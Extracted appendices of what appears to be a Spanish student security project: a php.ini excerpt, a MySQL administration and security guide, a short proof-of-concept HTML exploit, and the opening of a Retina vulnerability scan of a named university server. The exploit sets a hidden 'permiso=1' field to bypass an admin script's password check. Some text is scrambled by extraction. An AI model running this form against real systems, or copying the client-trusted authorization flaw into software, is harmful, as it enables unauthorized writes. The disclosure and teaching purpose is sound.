;extension=php_iconv.dll
;extension=php_ifx.dll
;extension=php_iisfunc.dll
;extension=php_imap.dll
;extension=php_ingres.dll
;extension=php_interbase.dll
;extension=php_java.dll
Pg. 173
;extension=php_ldap.dll
;extension=php_mbstring.dll
;extension=php_mcrypt.dll
;extension=php_mhash.dll
;extension=php_ming.dll
;extension=php_mssql.dll
;extension=php_oci8.dll
;extension=php_openssl.dll
;extension=php_oracle.dll
;extension=php_pdf.dll
;extension=php_pgsql.dll
;extension=php_printer.dll
;extension=php_shmop.dll
;extension=php_snmp.dll
;extension=php_sockets.dll
;extension=php_sybase_ct.dll
;extension=php_tokenizer.dll
;extension=php_w32api.dll
;extension=php_xslt.dll
;extension=php_yaz.dll
;extension=php_zlib.dll
;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[Syslog]
; Whether or not to define the various syslog variables (e.g. $LOG_PID,
; $LOG_CRON, etc.). Turning it off is a good idea performance-wise. In
; runtime, you can define these variables by calling define_syslog_variables().
define_syslog_variables = Off
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
; For Unix only.
;sendmail_path =
You may supply arguments as well (default: "sendmail -t -i").
[Java]
;java.class.path = .\php_java.jar
;java.home = c:\jdk
;java.library = c:\jdk\jre\bin\hotspot\jvm.dll
;java.library.path = .\
[SQL]
sql.safe_mode = Off
[ODBC]
;odbc.default_db
;odbc.default_user
;odbc.default_pw
=
=
=
Not yet implemented

Not yet implemented
Not yet implemented
; Allow or prevent persistent links.

odbc.allow_persistent = On
; Check that a connection is still valid before reuse.
odbc.check_persistent = On
; Maximum number of persistent links.
odbc.max_persistent = -1
-1 means no limit.
; Maximum number of links (persistent + non-persistent).

odbc.max_links = -1
-1 means no limit.
Pg. 174
; Handling of LONG fields.

; passthru.
odbc.defaultlrl = 4096
Returns number of bytes to variables.
0 means
; Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char.

; See the documentation on odbc_binmode and odbc_longreadlen for an explanation
; of uodbc.defaultlrl and uodbc.defaultbinmode
odbc.defaultbinmode = 1
[MySQL]
mysql.allow_persistent = On
mysql.max_persistent = -1
-1 means no limit.

mysql.max_links = -1
-1 means no limit.
; Default port number for mysql_connect(). If unset, mysql_connect() will use

; the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services or the
; compile-time value defined MYSQL_PORT (in that order). Win32 will only look
; at MYSQL_PORT.
mysql.default_port =
; Default socket name for local MySQL connects.
; MySQL defaults.
mysql.default_socket =
If empty, uses the built-in
; Default host for mysql_connect() (doesn't apply in safe mode).

mysql.default_host =
; Default user for mysql_connect() (doesn't apply in safe mode).
mysql.default_user =
; Default password for mysql_connect() (doesn't apply in safe mode).
; Note that this is generally a *bad* idea to store passwords in this file.
; *Any* user with PHP access can run 'echo cfg_get_var("mysql.default_password")
; and reveal this password! And of course, any users with read access to this
; file will be able to reveal the password as well.
mysql.default_password =
[mSQL]
msql.allow_persistent = On
msql.max_persistent = -1
-1 means no limit.
; Maximum number of links (persistent+non persistent).

msql.max_links = -1
-1 means no limit.
[PostgresSQL]
pgsql.allow_persistent = On
; Detect broken persistent links always with pg_pconnect(). Need a little overhead.
pgsql.auto_reset_persistent = Off
pgsql.max_persistent = -1
-1 means no limit.

pgsql.max_links = -1
-1 means no limit.
[Sybase]
sybase.allow_persistent = On
Pg. 175

sybase.max_persistent = -1
-1 means no limit.

sybase.max_links = -1
-1 means no limit.
;sybase.interface_file = "/usr/sybase/interfaces"
; Minimum error severity to display.
sybase.min_error_severity = 10
; Minimum message severity to display.
sybase.min_message_severity = 10
; Compatability mode with old versions of PHP 3.0.
; If on, this will cause PHP to automatically assign types to results according
; to their Sybase type, instead of treating them all as strings. This
; compatability mode will probably not stay around forever, so try applying
; whatever necessary changes to your code, and turn it off.
sybase.compatability_mode = Off
[Sybase-CT]
sybct.allow_persistent = On
sybct.max_persistent = -1
-1 means no limit.

sybct.max_links = -1
-1 means no limit.
; Minimum server message severity to display.

sybct.min_server_severity = 10
; Minimum client message severity to display.
sybct.min_client_severity = 10
[bcmath]
; Number of decimal digits for all bcmath functions.
bcmath.scale = 0
[browscap]
;browscap = extra/browscap.ini
[Informix]
; Default host for ifx_connect() (doesn't apply in safe mode).
ifx.default_host =
; Default user for ifx_connect() (doesn't apply in safe mode).
ifx.default_user =
; Default password for ifx_connect() (doesn't apply in safe mode).
ifx.default_password =
ifx.allow_persistent = On
ifx.max_persistent = -1
-1 means no limit.

ifx.max_links = -1
-1 means no limit.
; If on, select statements return the contents of a text blob instead of its id.
ifx.textasvarchar = 0
; If on, select statements return the contents of a byte blob instead of its id.
ifx.byteasvarchar = 0
Pg. 176
; Trailing blanks are stripped from fixed-length char columns.

; life of Informix SE users.
ifx.charasvarchar = 0
May help the
; If on, the contents of text and byte blobs are dumped to a file instead of
; keeping them in memory.
ifx.blobinfile = 0
; NULL's are returned as empty strings, unless this is set to 1.
; NULL's are returned as string 'NULL'.
ifx.nullformat = 0
In that case,
[Session]
; Handler used to store/retrieve data.
session.save_handler = files
; Argument passed to save_handler. In the case of files, this is the path
; where data files are stored. Note: Windows users have to change this
; variable in order to use PHP's session functions.
session.save_path = "C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp"
; Whether to use cookies.
session.use_cookies = 1
; Name of the session (used as cookie name).
session.name = PHPSESSID
; Initialize session on request startup.
session.auto_start = 0
; Lifetime in seconds of cookie or, if 0, until browser is restarted.
session.cookie_lifetime = 0
; The path for which the cookie is valid.
session.cookie_path = /
; The domain for which the cookie is valid.
session.cookie_domain =
; Handler used to serialize data.
session.serialize_handler = php
php is the standard serializer of PHP.
; Percentual probability that the 'garbage collection' process is started

; on every session initialization.
session.gc_probability = 1
; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process.
session.gc_maxlifetime = 1440
; Check HTTP Referer to invalidate externally stored URLs containing ids.
; HTTP_REFERER has to contain this substring for the session to be
; considered as valid.
session.referer_check =
; How many bytes to read from the file.
session.entropy_length = 0
; Specified here to create the session id.
session.entropy_file =
;session.entropy_length = 16
;session.entropy_file = /dev/urandom
; Set to {nocache,private,public} to determine HTTP caching aspects.
session.cache_limiter = nocache
Pg. 177
; Document expires after n minutes.

session.cache_expire = 180
; use transient sid support if enabled by compiling with --enable-trans-sid.
session.use_trans_sid = 1
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
mssql.allow_persistent = On
mssql.max_persistent = -1
-1 means no limit.

mssql.max_links = -1
-1 means no limit.
; Minimum error severity to display.

mssql.min_error_severity = 10
; Minimum message severity to display.
mssql.min_message_severity = 10
; Compatability mode with old versions of PHP 3.0.
mssql.compatability_mode = Off
; Valid range 0 - 2147483647.
;mssql.textlimit = 4096
Default = 4096.
; Valid range 0 - 2147483647.

;mssql.textsize = 4096
Default = 4096.
; Limits the number of records in each batch.

;mssql.batchsize = 0
0 = all records in one batch.
[Assertion]
; Assert(expr); active by default.
;assert.active = On
; Issue a PHP warning for each failed assertion.
;assert.warning = On
; Don't bail out by default.
;assert.bail = Off
; User-function to be called if an assertion fails.
;assert.callback = 0
; Eval the expression with current error_reporting().
; error_reporting(0) around the eval().
;assert.quiet_eval = 0
Set to true if you want
[Ingres II]
ingres.allow_persistent = On
ingres.max_persistent = -1
-1 means no limit.
; Maximum number of links, including persistents.

ingres.max_links = -1
-1 means no limit.
; Default database (format: [node_id::]dbname[/srv_class]).

ingres.default_database =
; Default user.
ingres.default_user =
Pg. 178
; Default password.
ingres.default_password =
[Verisign Payflow Pro]
; Default Payflow Pro server.
pfpro.defaulthost = "test-payflow.verisign.com"
; Default port to connect to.
pfpro.defaultport = 443
; Default timeout in seconds.
pfpro.defaulttimeout = 30
; Default proxy IP address (if required).
;pfpro.proxyaddress =
; Default proxy port.
;pfpro.proxyport =
; Default proxy logon.
;pfpro.proxylogon =
; Default proxy password.
;pfpro.proxypassword =
[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = On
[com]
; path to a file containing GUIDs, IIDs or filenames of files with TypeLibs
;com.typelib_file =
; allow Distributed-COM calls
;com.allow_dcom = true
; autoregister constants of a components typlib on com_load()
;com.autoregister_typelib = true
; register constants casesensitive
;com.autoregister_casesensitive = false
; show warnings on duplicate constat registrations
;com.autoregister_verbose = true
[Printer]
;printer.default_printer = ""
[mbstring]
;mbstring.internal_encoding = EUC-JP
;mbstring.http_input = auto
;mbstring.http_output = SJIS
;mbstring.detect_order = auto
;mbstring.substitute_character = none;
[FrontBase]
;fbsql.allow_persistent = On
;fbsql.autocommit = On
;fbsql.default_database =
;fbsql.default_database_password =
;fbsql.default_host =
;fbsql.default_password =
;fbsql.default_user = "_SYSTEM"
;fbsql.generate_warnings = Off
;fbsql.max_connections = 128
;fbsql.max_links = 128
;fbsql.max_persistent = -1
;fbsql.max_results = 128
;fbsql.batchSize = 1000
; Local Variables:
; tab-width: 4
; End:
Pg. 179
Pg. 180
Apndice B. Seguridad bsica en bases de datos MySQL
Apndice B
Seguridad bsica en bases de datos MySQL
1. Introduccin.
El objetivo de este apndice es mostrar ciertos aspectos bsicos -y a la vez
muy importantes- de la administracin y seguridad de un servidor MySQL y sus
bases de datos asociadas: desde cmo establecer o cambiar la contrasea del
administrador hasta una breve descripcin del sistema de privilegios usado en
MySQL para el control de acceso a las distintas bases de datos, sin olvidar el proceso
de creacin de copias de seguridad, tan importante en futuras labores de rescate.
Se presupone que el lector tiene unos conocimientos mnimos del lenguaje
SQL (bsicamente conocer el funcionamiento de algunas sentencias simples de tipo
select, insert, update o delete).
Pg. 181
2. Las tablas de privilegios de MySQL.

Las tablas de privilegios constituyen los cimientos sobre los que descansa
todo el sistema de seguridad e integridad de MySQL. De ah su gran importancia,
digna merecedora de este apndice, que le vamos a dedicar.
MySQL engloba a todas estas tablas bajo una misma base de datos llamada
mysql. Ms adelante veremos algunos ejemplos que ilustrarn este concepto, y
podremos asimismo sumergirnos en el contenido de dichas tablas.
Entre las funciones principales de las tablas de privilegios cabe destacar las
siguientes:
Validar y autentificar el acceso de usuarios al servidor de MySQL.
Tendremos diferentes usuarios, cada uno con su contrasea.
Asociar cada usuario con una serie de permisos o privilegios, de
una forma muy granular y flexible, lo que definir con gran
exactitud lo que es capaz o no de hacer un determinado usuario en
nuestro servidor MySQL.
El sistema de privilegios acta a diferentes niveles: en todo el servidor, en
una determinada base de datos, en una tabla o incluso para una columna dada de una
tabla dada. Significa esto que podramos tener, por ejemplo, un usuario que slo
tiene permisos para hacer consultas en una tabla particular (slo en esa tabla), y que
no puede realizar modificaciones en ella. Podramos tener otro usuario que pueda
aadir entradas a una tabla, o incluso, que pudiera modificar la estructura de la tabla
en tiempo real (aadir una nueva columna, por ejemplo). La flexibilidad es total.
Pg. 182
3. Operaciones bsicas con MySQL.

A continuacin describiremos muy brevemente- la interfaz de administracin de MySQL as como algunas operaciones bsicas de mantenimiento.
3.1. mysqladmin
La distribucin de MySQL incluye, aparte del software servidor propiamente
dicho, diferentes programas y utilidades que permitirn o facilitarn la administracin y mantenimiento tanto del servidor en s como de las bases de datos
albergadas en l.
Uno de estos programas es mysqladmin. Para hacernos una idea de la
funcionalidad que provee este programa bastar con mostrar un resumen de la
sintaxis que soporta as como las opciones disponibles:
D:\PFC\mysql\bin>mysqladmin --help
mysqladmin Ver 8.23 Distrib 3.23.52, for Win95/Win98 on i32
Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license
Administration program for the mysqld daemon.
Usage: mysqladmin [OPTIONS] command command....
-#, --debug=...
-f, --force
Output debug log. Often this is 'd:t:o,filename`

Don't ask for confirmation on drop database; with
multiple commands, continue even if an error occurs
-?, --help
Display this help and exit
--character-sets-dir=...
Set the character set directory
-C, --compress
Use compression in server/client protocol
-h, --host=#
Connect to host
-p, --password[=...] Password to use when connecting to server
If password is not given it's asked from the tty
-W, --pipe
Use named pipes to connect to server
-P --port=...
Port number to use for connection
-i, --sleep=sec
Execute commands again and again with a sleep between
-r, --relative
Show difference between current and previous values
when used with -i. Currently works only with
extended-status
-E, --vertical
Print output vertically. Is similar to --relative,
but prints output vertically.
-s, --silent
Silently exit if one can't connect to server
-S, --socket=...
Socket file to use for connection
-u, --user=#
User for login if not current user
Pg. 183
-v, --verbose
-V, --version
-w, --wait[=retries]
Write more information

Output version information and exit
Wait and retry if connection is down
Default options are read from the following files in the given order:
C:\WINNT\my.ini C:\my.cnf
The following groups are read: mysqladmin client
The following options may be given as the first argument:
--print-defaults
Print the program argument list and exit
--no-defaults
Don't read default options from any options file
--defaults-file=#
Only read default options from the given file #
--defaults-extra-file=# Read this file after the global files are read
Possible variables for option --set-variable (-O) are:
connect_timeout
current value: 0
shutdown_timeout
current value: 3600
Where command is a one or more of: (Commands may be shortened)
create databasename
Create a new database
drop databasename
Delete a database and all its tables
extended-status
Gives an extended status message from the server
flush-hosts
Flush all cached hosts
flush-logs
Flush all logs
flush-status
Clear status variables
flush-tables
Flush all tables
flush-threads
Flush the thread cache
flush-privileges
Reload grant tables (same as reload)
kill id,id,...
Kill mysql threads
password new-password Change old password to new-password
ping
Check if mysqld is alive
processlist
Show list of active threads in server
reload
Reload grant tables
refresh
Flush all tables and close and open logfiles
shutdown
Take server down
status
Gives a short status message from the server
start-slave
Start slave
stop-slave
Stop slave
variables
Prints variables available
version
Get version info from server
D:\PFC\mysql\bin>
Cada uno de los comandos que aparecen listados representa una funcionalidad. Usando mysqladmin podemos arrancar o parar el servidor, listar la versin
de software, crear o eliminar una base de datos, etc.
Veamos un par de ejemplos:
D:\PFC\mysql\bin>mysqladmin -u root -p version
mysqladmin Ver 8.23 Distrib 3.23.52, for Win95/Win98 on i32
Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license
Server version
Protocol version
Connection
TCP port
3.23.52-nt
10
localhost via TCP/IP
3306
Pg. 184
Uptime:
17 hours 15 min 1 sec
Threads: 2 Questions: 7 Slow queries: 0

tables: 0 Queries per second avg: 0.000
Opens: 6
Flush tables: 1
Open
D:\PFC\mysql\bin>mysqladmin -u root -p create miempresa

D:\PFC\mysql\bin>
El primer ejemplo muestra la versin de software que se encuentra corriendo

en el servidor. El comando utilizado es version y adems hemos utilizado dos
opciones: -u para especificar un usuario y p para indicar que proporcionaremos una contrasea para dicho usuario.
Con la segunda sentencia le pedimos a MySQL que cree una nueva base de
datos llamada miempresa. Esta nueva base de datos estar vaca. El siguiente
paso sera crear tablas asociadas a dicha base de datos as como asignar los
diferentes permisos y privilegios que convenga. Esto lo estudiaremos ms adelante.
Es importante destacar el uso de la opcin -p. Podemos suministrar la
contrasea en la propia lnea de comandos; en este caso usaramos la sintaxis:
-pcontrasea (todo junto!). Es un error frecuente escribir -p contrasea. Esto
ltimo producira un error y no es vlido. De todas formas, desde el punto de vista
de la seguridad no es recomendable introducir la contrasea en la lnea de
comandos ya que puede ser vista por algn observador cercano (fsicamente) y
adems puede quedar constancia en ciertos logs de sistema o por ejemplo, al listar
los procesos de la mquina (al hacer un ps). Por todas estas razones, lo
recomendable es usar la opcin -p a secas y esperar a que el programa nos pida
amablemente la contrasea.
Pg. 185
3.2. mysql
Ser la principal herramienta que usaremos para gestionar las distintas bases
de datos. Es la interfaz por excelencia para la administracin y mantenimiento del
servidor MySQL.
La sintaxis general es:
prompt_de_sistema> mysql [opciones] [base de datos]
Por ejemplo:
D:\PFC\mysql\bin>mysql -u root -p
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9 to server version: 3.23.52-nt
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>
En este punto, estamos conectados al servidor MySQL como usuario root y

podemos introducir sentencias SQL para crear tablas, borrarlas, aadir entradas,
etc. Tambin podremos aadir nuevos usuarios, modificar privilegios y muchas
cosas ms.
Ntese el prompt (mysql>) que nos muestra la utilidad mysql una vez
autentificados. Haremos referencia a l en numerosos ejemplos, es decir,
presupondremos que hemos ejecutado el comando mysql aunque no se diga
explcitamente.
Para seleccionar una base de datos podramos haber incluido su nombre en la
lnea de comandos (mysql u root p bbdd; recordemos que bbdd no sera la
contrasea, pues hay un carcter espaciador separndolo del -p), o bien conectar
como en el ejemplo y escribir:
mysql> use bbdd
Pg. 186
3.3. Cambio de contrasea de administrador.

Mostraremos dos formas diferentes (aunque hay ms formas, que no
veremos):
El procedimiento recomendado es el siguiente:

mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('contrasea');
Otra forma posible sera utilizar mysqladmin. As:

mysqladmin -u root password 'contrasea'
4.
Modificando permisos en MySQL.

Ya hablamos con anterioridad de las tablas de privilegios de MySQL, y
comentamos que se agrupaban bajo una misma base de datos llamada mysql.
Para gestionar los diferentes permisos habremos de introducir modificaciones
en dicha base de datos. Puesto que se trata de una base de datos ms, MySQL puede
trabajar con ella como si de una base de datos normal se tratase: es decir,
podremos utilizar diferentes sentencias SQL (insert, update, delete) para
aadir, actualizar o borrar entradas (permisos). Sin embargo, este mtodo resulta
obsoleto.
MySQL introduce un segundo mtodo para gestionar los permisos, que es el
recomendado, basado en el uso de dos comandos especiales: grant y revoke.
Ser ste el mtodo que emplearemos y estudiaremos a continuacin.
Pg. 187
4.1. El comando grant.

Ser til tanto para crear nuevos usuarios como para asignar privilegios a los
mismos. Su sintaxis es:
mysql>GRANT priv_type [(column_list)] [, priv_type [(column_list)] ...]
ON {tbl_name | * | *.* | db_name.*}
TO user_name [IDENTIFIED BY 'password']
[, user_name [IDENTIFIED BY 'password'] ...]
[WITH GRANT OPTION]
Para una mejor comprensin de su funcionamiento lo mejor es ver algunos

ejemplos de uso.
Comenzaremos creando un nuevo usuario sin privilegios llamado
miempresaAdmin, que podr conectar al servidor desde el localhost usando la
contrasea miclave pero que en la prctica no podr hacer nada ms:
mysql>GRANT usage ON *.* TO miempresaAdmin@localhost
->IDENTIFIED BY 'miclave';
Ahora le damos permisos sobre la base de datos miempresa, para que pueda
consultar datos, aadir, actualizar o borrar:
mysql>GRANT SELECT, INSERT, UPDATE, DELETE
->ON miempresa.* TO miempresaAdmin@localhost;
En la figura siguiente podemos consultar todos los privilegios que pueden ser
asignados haciendo uso de los comandos grant y revoke:
ALL
FILE
PRIVILEGES
RELOAD
ALTER
INDEX
SELECT
CREATE
INSERT
SHUTDOWN
DELETE
PROCESS
UPDATE
Pg. 188
DROP
REFERENCES USAGE
Comprobemos los resultados:

mysql>SELECT * FROM mysql.db;
Si todo ha ido bien, la sentencia select mostrar, entre otras cosas, una
nueva fila (en la tabla db) que fue aadida como consecuencia del comando
grant anterior, y cuyos campos select, insert, update y delete contienen
un valor Y (=yes).
Los dos comandos grant anteriores se podran haber fundido en uno slo,
que sera el encargado tanto de crear el nuevo usuario como de asignarle los
permisos correspondientes, de una forma compacta:
mysql>GRANT SELECT, INSERT, UPDATE, DELETE
->ON miempresa.* TO miempresaAdmin@localhost
->IDENTIFIED BY 'miclave';
4.2. El comando revoke.

Lo utilizaremos para revocar privilegios previamente concedidos a un
usuario. La sintaxis correcta es la siguiente:
REVOKE priv_type [(column_list)] [, priv_type [(column_list)] ...]
ON {tbl_name | * | *.* | db_name.*}
FROM user_name [, user_name ...]
Siguiendo con los ejemplos del apartado anterior, veamos cmo quitarle al
usuario miempresaAdmin el permiso de borrado sobre la base de datos
miempresa, que se le concedi anteriormente (con el comando grant
correspondiente):
Pg. 189
mysql>REVOKE DELETE ON miempresa.*

->FROM miempresaAdmin@localhost;
Si lo que quisiramos es quitarle todos los privilegios (includo el de uso)

bastara con lo siguiente:
mysql>REVOKE ALL PRIVILEGES ON miempresa.*
->FROM miempresaAdmin@localhost;
Ntese que en este caso las entradas en las tablas de privilegios,

correspondientes al usuario en cuestin, no son borradas; simplemente se
actualizan con los valores pertinentes (los valores correspondientes a los diferentes
campos asociados a cada privilegio pasarn a ser N, es decir, todos los
privilegios estarn desactivados para dicho usuario).
Para borrar en su totalidad todo rastro del usuario, incluidas las entradas
correspondientes en las tablas de privilegios, utilizaramos:
mysql>DELETE FROM user WHERE user = 'miempresaAdmin';
Query OK, 1 row affected (0.00 sec)
mysql>flush privileges;
De esta forma, el usuario ya no podr ni conectar con el servidor MySQL.
5.
Copias de seguridad en MySQL.

Por ltimo, pero no por ello menos importante, resumiremos la forma ms
cmoda y flexible de realizar backups de nuestras bases de datos. Esta labor es

necesaria, no slo por motivos de seguridad (para evitar prdidas de datos en caso de
catstrofe o borrado accidental de los mismos) sino en otros muchos casos, como por
ejemplo, para migrar una o varias bases de datos de un servidor (MySQL) a otro. El
Pg. 190
servidor destino podr ser tambin MySQL o no (otras opciones vlidas son Oracle,
Microsoft SQL Server, Informix, etc).
Aunque hay distintas opciones que permiten realizar un backup (la ms rpida
y eficiente es, quizs, usar mysqlhotcopy, que realiza copias en binario, con la
restriccin de que las bases de datos deben residir en la misma mquina en la cual se
ejecuta la utilidad de backup) la forma preferida por nosotros es hacer uso de la
utilidad mysqldump, debido a su flexibilidad y portabilidad (permite migrar bases
de datos a diferentes arquitecturas / servidores). Adems no tiene la restriccin de
mysqlhotcopy: podremos realizar backups en remoto.
Para ello, mysqldump hace uso del lenguaje SQL. Genera ficheros de texto
(de ah su portabilidad, eso s a costa de perder algo de eficiencia) con sentencias
SQL, que luego habrn de ser importadas desde el servidor destino. Estos ficheros de
texto SQL contienen sentencias de creacin de tablas, insercin de nuevas entradas,
etc. Como SQL es un estndar y lo entienden la mayora de servidores de bases de
datos, se hace posible la migracin de bases de datos mediante el mtodo comentado.
Para ilustrar los conceptos ms importantes vamos a estudiar la sintaxis a
emplear en algunos escenarios comunes. Comenzamos con algo tan simple como
obtener una copia de seguridad de una base de datos llamada bbdd:
%>mysqldump [options] bbdd
Si quisiramos guardar nicamente varias tablas de la base de datos:

%>mysqldump [options] bbdd tabla1 tabla2 . . . tablaN
Para hacer backup de varias bases de datos:

%>mysqldump [options] --databases [options] bbdd1 bbdd2 . . . bbddN
O bien de todas las bases de datos del servidor:

%>mysqldump [options] --all-databases [options]
Pg. 191
Veamos algunos ejemplos reales. El comando siguiente obtiene un backup de

la base de datos miempresa (tanto de los datos en s como de la estructura de la
base de datos):
%>mysqldump -u root -p --opt miempresa
El modificador --opt consigue un volcado optimizado para servidores

MySQL. De esta forma el servidor destino (debe ser MySQL tambin) lo leer ms
rpido. No debemos usar esta opcin si el servidor destino no es MySQL.
Supongamos ahora que no queremos guardar la estructura de la base de datos
anterior sino slo los datos propiamente dichos. Para ello haramos uso del
modificador --no-create-info (como resultado, mysqldump obviar la informacin
de creacin de tablas):
%>mysqldump -u root -p --no-create-info miempresa
Otra variante es volcar nicamente la estructura de tablas pero no los

contenidos (datos) de stas:
%>mysqldump -u root -p --no-data miempresa
Por ltimo, recordar que para bases de datos muy grandes puede ser necesario
(en trminos de velocidad y rendimiento) obtener copias de seguridad binarias.
Esto lo llevaramos a cabo con un script en perl llamado mysqlhotcopy. La
limitacin es que las bases de datos a guardar deben residir en la misma mquina
donde ejecutamos dicho script.
Ilustrmoslo. El primer ejemplo crear un backup (binario) de la base de
datos miempresa, y lo guardar en el directorio /usr/mysql/backups:
%>mysqlhotcopy -u root -p miempresa /usr/mysql/backups
El ltimo ejemplo muestra el uso de expresiones regulares a la hora de

seleccionar las tablas que queremos involucrar en el backup. Suponiendo que
tuviramos tablas para cada ao (clientes2001, clientes2002, productos2001,
Pg. 192
productos 2002, etc), la forma de obtener una copia de seguridad de todas las
tablas correspondientes al ao 2002, de la base de datos miempresa, sera:
%>mysqlhotcopy -u root -p miempresa./^.+(2002)$/ /usr/mysql/backups
De todas formas, por facilidad de uso y flexibilidad recomendamos el uso de

mysqldump sobre mysqlhotcopy, siempre que las circunstancias lo permitan (la gran
mayora de casos).
6.
Conclusiones.
Hemos presentado e introducido las operaciones ms importantes que todo

administrador de bases de datos MySQL debe conocer. Ahora es el momento de
ponerse a jugar con los ejemplos y practicar un poco, para familiarizarse an ms
con la interfaz de administracin de MySQL.
Para profundizar ms en estos y otros temas recomendamos acudir al manual
de MySQL, o bien a la pgina web oficial, fuente de innumerables recursos
relacionados con este potente servidor de bases de datos:
http://www.mysql.com/
Pg. 193
Apndice C. Exploit para la vulnerabilidad de validacin insuficiente
Apndice C
Exploit para la vulnerabilidad de

validacin insuficiente
1. Introduccin.
Presentamos a continuacin el exploit realizado como prueba de concepto
correspondiente a la vulnerabilidad descrita en el apartado 3.2.2.1 Validacin de
entrada de usuario insuficiente en la herramienta de administracin.
2. Descripcin del funcionamiento.

El exploit consiste en un simple fichero HTML. Para probarlo habremos de
generar un fichero con extensin .html cuyo contenido sea el mostrado en el tercer
apartado de este apndice. Una vez hecho esto, procedemos a cargar el fichero con el
navegador (Internet Explorer, Netscape, Lynx, ). Se nos presentar un formulario,
Pg. 194
con los campos (pregunta, respuesta y fecha) correspondientes a la duda que se

quiere aadir. Simplemente hay que rellenarlos y pulsar el botn insertar. La
entrada ser insertada en la base de datos de dudas, sin haber sido necesaria la
contrasea del Administrador.
El punto clave del exploit es que enva la variable de autentificacin
(permiso) con valor 1 y el script vulnerable simplemente comprueba esta
variable.
Pg. 195
3. Exploit.
<html>
<head><title>Xploit para aadir duda</title></head>
<body>
<h1>Xploit-FAQ by RoMaNSoFt. 2002.08.29</h1><br>
<form action=http://woody.us.es/fbarrero/lie/admin/insertar_duda.php
method=post>
<table width="90%" align="center" cellpadding=1 cellspacing=2>
<tr><td bgcolor=#007f40>
<table width=100%
border=0 cellpadding=2 cellspacing=4
align="center" background="fondo.gif">
<tr><td colspan=2><p class=t1>Introduce la
pregunta y la
respuesta y pulsa Insertar</p></td></tr>

<tr><td><p class=t2>Pregunta:</p></td>
<td><input TYPE="textarea" align=left NAME="pregunta"
SIZE="50" VALUE=""></td></tr>
<tr><td><p class=t2>Respuesta:</p></td>
<td><input TYPE="textarea" align=left
NAME="respuesta" SIZE="50" VALUE=""></td></tr>
<tr><td><p class=t2>Fecha:</p></td>
<td><input TYPE="textarea" align=left NAME="fecha"
SIZE="50" VALUE=""></td></tr>
<tr><td colspan=2 align="center"><input type=submit
value="Insertar"></td></tr>
<td><input TYPE="hidden"
name="permiso" value=1></td></tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>
Pg. 196
Apndice D. Reporte de vulnerabilidades generado con el software Retina
Apndice D
Reporte de vulnerabilidades generado con

el software Retina
1. Introduccin.
Retina es el nombre de un producto comercial de la empresa de seguridad
eEye Digital Security. Se trata de un escner de seguridad, es decir, una
herramienta diseada para probar la seguridad de una mquina o incluso toda una
red. El escner se encarga de explorar el objetivo u objetivos en busca de
vulnerabilidades conocidas. Para ello, usa diferentes tcnicas: desde ataques pasivos
(como por ejemplo, consultar el banner que suele mostrar el software servidor
cuando nos conectamos a un determinado servicio, y comparar la versin obtenida
con las versiones que se sabe son vulnerables) a ataques ms agresivos o activos,
algunos de los cuales intentan explotar la vulnerabilidad encontrada (lo cual es a
veces desaconsejable, sobre todo para mquinas que se encuentran en produccin,
debido a que puede producir efectos no deseados, como por ejemplo un D.o.S., sobre
los servicios que estn siendo auditados).
Pg. 197
Este tipo de productos cuentan con una enorme base de datos de

vulnerabilidades, la cual debe ser actualizada frecuentemente para que los resultados
sean ptimos.
El objetivo de programas como Retina es realizar de una forma rpida y
automtica un primer paso en la auditora de seguridad de un sistema. En ningn
caso, debe tomarse como algo definitivo. Los resultados deben ser analizados
manualmente por un experto en seguridad, y contrastados mediante la realizacin de
otros tests de seguridad ms especficos llevados a cabo tambin manualmente. De
hecho, es algo muy comn que el escner produzca numerosos falsos positivos, es
decir, alerte de una o varias vulnerabilidades que en realidad no existen.
2. Reporte de seguridad realizado con Retina contra el

servidor woody.
A modo de ejemplo, mostramos a continuacin el reporte de seguridad
generado de forma totalmente automtica con el software Retina, al ser lanzado
contra el servidor woody.
Confidential Information
The following report contains confidential information, do not distribute, email, fax or transfer
via any electronic mechanism unless it has been approved by our security policy. All copies
and backups of this document should be saved on protected storage at all times. Do not
share any of the information contained within this report with anyone unless they are
authorized to view the information. Violating any of the previous instructions is ground for
termination.
Pg. 198
Table of Contents
Executive Summary
Vulnerability Summary
Address 193.147.161.237
General
Audits
Machine
Port
Services
Glossary of Terms
Executive Summary
1-1
2-1
3-1
3-2
3-3
3-4
3-5
3-6
4-1
1-1
Pg. 199
On 16:40:29 Retina performed a

vulnerability assessment of 1
system[s] in order to determine the
security posture of those systems
and to outline fixes for any found
vulnerabilities.
The systems audited were:
193.147.161.237
Retina's goals in this attack were as
follows:
Perform network scan to

determine all systems and
services within your scan
range.
Analysis of those systems
and services and perform
information gathering
techniques.
Attack and exploit any known
holes in the server software
and examine the likelihood of
being vulnerable to those
attacks.
Generate information on how
to fix all found vulnerabilities.
Create security report for
your organization.
Your network had 2 low risk

vulnerabilities, 5 medium risk
vulnerabilities, and 8 high risk
vulnerabilities. There were 1 host[s]
that were vulnerable to high risk
vulnerabilities and 1 host[s] that were
vulnerable to medium risk
vulnerabilities. Also on average each
system on your network was
vulnerable to 8,00 high risk
vulnerabilities, 5,00 medium risk
vulnerabilities and 2,00 low risk
vulnerabilities.
The overall security of the systems
under review was deemed rather
insecure. Your organizations network
is completely vulnerable. It is
imperative that you take immediate
actions in fixing the security stance of
Pg. 200
your organizations network.
Vulnerability Summary
2-1
Introduction
This report was generated on 06/11/2002 17:24:53. Network security scan was performed
using the default security policy. Security audits in this report are not conclusive and to be
used only as reference, physical security to the network should be examined also. All audits
outlined in this report where performed using Retina - The Network Security Scanner,
Version 4.8.37
Audits
